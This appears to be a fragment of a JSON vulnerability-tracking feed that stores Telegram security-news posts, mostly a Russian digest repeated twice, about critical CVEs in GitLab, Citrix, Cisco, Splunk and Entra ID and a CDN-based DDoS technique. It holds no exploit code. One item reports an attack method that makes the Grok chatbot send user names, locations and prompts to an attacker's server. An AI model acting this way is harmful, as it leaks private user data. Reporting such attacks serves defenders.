\u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 \u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-23T00:00:46.558503Z"}, {"uuid": "460ed6ee-8b81-41cc-967a-ec2babaf1c35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/cve0day/247", "content": "CVE-2026-20045\n\nA vulnerability in Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. \n\nThis vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending a sequence of crafted HTTP requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.\nNote: Cisco has assigned this ...", "creation_timestamp": "2026-08-28T00:00:41.958801Z"}, {"uuid": "d53a340e-3da8-4e72-8876-8f92232e1ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20298", "type": "seen", "source": "https://t.me/pphm_HackerNews/2106", "content": "\ud83d\udd34 Splunk Enterprise Flaws Expose Stored Credentials and Allow Arbitrary SPL Searches\n\nSplunk has released security updates for three vulnerabilities in Splunk Enterprise and Splunk Cloud Platform.\n\nThese vulnerabilities could potentially expose stored credential hashes, enable arbitrary Search Processing Language (SPL) searches, and allow files to be written outside of the intended application directory.\n\nThe flaws, tracked as CVE-2026-20296, CVE-2026-20297, and CVE-2026-20298, were disclosed on July 15, 2026. Organizations running affected releases of Splunk Enterprise should prioritize upgrades, especially if they have Splunk Web and Deployment Server functionality enabled.", "creation_timestamp": "2026-08-23T00:00:44.552545Z"}, {"uuid": "64493e7e-1b64-4c80-ae64-1645f1d5af4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://t.me/true_secator/8535", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, 